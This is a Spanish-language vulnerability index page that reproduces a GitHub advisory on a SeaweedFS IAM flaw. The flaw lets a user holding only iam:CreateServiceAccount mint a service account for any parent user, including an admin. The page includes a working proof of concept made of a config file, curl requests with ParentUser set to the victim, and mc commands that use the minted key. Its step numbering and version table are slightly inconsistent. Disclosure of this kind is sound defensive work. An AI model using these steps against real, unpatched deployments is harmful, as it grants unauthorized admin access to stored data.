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Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-F6RH-HW92-H9RX

iam:CreateServiceAccount accepts arbitrary ParentUser - one IAM grant mints credentials that authenticate as any user, including admin

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CVSS 3.1
9.6
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición11 dDesde la divulgación, 9 nov 2026, 2:48 p. m.
Detección10 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Esto en un pentest sería tu hallazgo principal.Se me erizó hasta la manta.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
9 nov 26
10 nov 26
20 nov 26
21 nov 26
9 nov 26
12 nov 26
15 nov 26
18 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-F6RH-HW92-H9RX divulgada · CVSS 9.6 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary
An improper access-control flaw in the embedded IAM API of the SeaweedFS S3 gateway lets any S3 user granted the single action iam:CreateServiceAccount mint a service account for ANY existing identity by supplying ParentUser=<victim> in the request. The server creates a new access/secret key pair attached to that parent, and the resulting credential authenticates with the full permissions of the parent user. This escalates a narrowly-granted, self-service-looking IAM permission into cluster-wide S3 admin, with a persistent extra credential.
Details
Three code facts combine (all verified on 4.45):

1. The handler trusts the request-supplied parent. weed/s3api/s3api_embedded_iam.go:1732-1852 - CreateServiceAccount reads parentUser := values.Get("ParentUser") (line 1734, fully client-controlled) and only verifies the named user exists (lines 1750-1754). It never compares ParentUser against the authenticated caller's identity. The new service account copies the parent's actions (lines 1813-1815, 1826) and returns the new secret key in the response (line 1842).

2. Authorization never binds the target. weed/s3api/s3api_embedded_iam.go:2487-2500 - AuthorizeIamAction allows the call if the caller isAdmin() OR holds iam:CreateServiceAccount on arn:aws:iam:::*. The self-service carve-out (line 2493) compares targetUserName with the caller - but CreateServiceAccount is not in iamSelfServiceActions (lines 2464-2470) and its target parameter is named ParentUser, not UserName, so the caller-vs-target check is never applied to this action at all.

3. The minted credential acts as the parent. weed/s3api/auth_credentials.go:890-904 - when the IAM config is loaded, a service account's credential is mapped directly onto the parent identity:

   parentIdent, ok := nameToIdentity[sa.ParentUser]
   ...
   parentIdent.Credentials = append(parentIdent.Credentials, cred)
   accessKeyIdent[sa.Credential.AccessKey] = parentIdent   // ← authenticates AS the parent

   Requests signed with the service-account key are therefore authorized with the parent's identity and actions - not the creator's, and not a reduced set.

Contrast with the intended design: CreateAccessKey (the analogous AWS operation) is explicitly restricted so a non-admin can only target themselves (targetUserName == "" || targetUserName == identity.Name, line 2493). CreateServiceAccount has no equivalent binding - that asymmetry is the defect.

Distinct from GHSA-jw56-gm6j-34mp: that advisory affects the deprecated standalone "weed iam" server (port 8111, affected <= 4.40) via a policy-evaluator wildcard resolution issue. This issue is in the current embedded IAM API of the S3 gateway (port 8333), persists in 4.45, has a different root cause (unbound ParentUser in CreateServiceAccount, not wildcard ARN matching), and requires only the narrow iam:CreateServiceAccount grant rather than s3:*.
PoC
Live-reproduced on SeaweedFS 4.45 built from source (default configuration, -s3.iam.readOnly=false):

Step 1 - configuration file `/data/s3.json` (an admin identity plus a least-privilege user `dev` whose only action is `iam:CreateServiceAccount` — a normal grant for CI/CD):

{
  "identities": [
    {
      "name": "admin",
      "actions": ["Admin"],
      "credentials": [
        { "accessKey": "admin_key_1", "secretKey": "admin_super_secret_123456" }
      ]
    },
    {
      "name": "dev",
      "actions": ["iam:CreateServiceAccount"],
      "credentials": [
        { "accessKey": "dev_key_1", "secretKey": "dev_secret_123456" }
      ]
    }
  ]
}

Step 2 - start the S3 gateway with embedded IAM:

weed server -dir=/data -master.port=9333 -volume.port=8080 -filer -s3 -s3.port=8333 -s3.iam.readOnly=false -s3.config=/data/s3.json

Step 3 - as admin, create a dynamic user `dynadmin` with full admin policy (dynamic users make the chain reproducible end-to-end). Each request below is SigV4-signed with the admin credential (service `iam`, region `us-east-1`):

curl -s -X POST "http://localhost:8333/?Action=CreateUser&Version=2010-05-08" --data-urlencode "Action=CreateUser" --data-urlencode "Version=2010-05-08" --data-urlencode "UserName=dynadmin" -H "Authorization: <SigV4 with admin_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"

curl -s -X POST "http://localhost:8333/?Action=CreateAccessKey&Version=2010-05-08" --data-urlencode "Action=CreateAccessKey" --data-urlencode "Version=2010-05-08" --data-urlencode "UserName=dynadmin" -H "Authorization: <SigV4 with admin_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"

curl -s -X POST "http://localhost:8333/?Action=PutUserPolicy&Version=2010-05-08" --data-urlencode "Action=PutUserPolicy" --data-urlencode "Version=2010-05-08" --data-urlencode "UserName=dynadmin" --data-urlencode "PolicyName=admin-all" --data-urlencode 'PolicyDocument={"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["*"],"Resource":["*"]}]}' -H "Authorization: <SigV4 with admin_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"

Step 4 - as `dev` (only `iam:CreateServiceAccount`), mint a service account for `dynadmin`. SigV4-signed with the `dev` credential (service `iam`); note the `Action` parameter must be in the POST body — the handler reads `r.PostForm`:

curl -s -X POST "http://localhost:8333/?Version=2010-05-08" --data-urlencode "Action=CreateServiceAccount" --data-urlencode "Version=2010-05-08" --data-urlencode "ParentUser=dynadmin" --data-urlencode "Description=escalation" -H "Authorization: <SigV4 with dev_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"

Actual result (HTTP 200):

<CreateServiceAccountResponse>
  <AccessKeyId>ABIA...</AccessKeyId>
  <SecretAccessKey>...</SecretAccessKey>
  <ParentUser>dynadmin</ParentUser>
</CreateServiceAccountResponse>

Expected: `AccessDenied` - `dev` may only create service accounts for itself.

Step 5 - use the minted key (the in-process reload happens automatically):

mc alias set esc http://localhost:8333 <SA_access_key> <SA_secret_key>
mc ls esc/
mc mb esc/escalated

Observed on 4.45: step 3 returned HTTP 200 with a minted key; step 4's
ListBuckets returned HTTP 200 with <Owner><ID> = the parent user - direct proof
the credential authenticates AS the parent. Note: service accounts whose parent
is a static identity from s3.json are skipped at key-use time
(auth_credentials.go:1167-1170); use a dynamic (IAM-created) parent for the
full chain.
Impact
- Who is impacted: every deployment that uses the embedded IAM and grants iam:CreateServiceAccount to non-admin users (a normal, least-privilege-looking grant for CI/CD or service-account self-management).
- What kind of vulnerability: CWE-269 (Improper Privilege Management) + CWE-284 (Improper Access Control). Privilege escalation from a normal S3 user to administrative capability.
- Consequence: full control of the object store (all buckets/objects of all identities), ability to create further users/service accounts, and persistence - the minted credential remains valid even after the original grant is revoked.
- Not fixable by configuration short of never granting the action to anyone.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.7/ 10Muy alto
Vector 8.7 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.45
4.45
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-f6rh-hw92-h9rx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.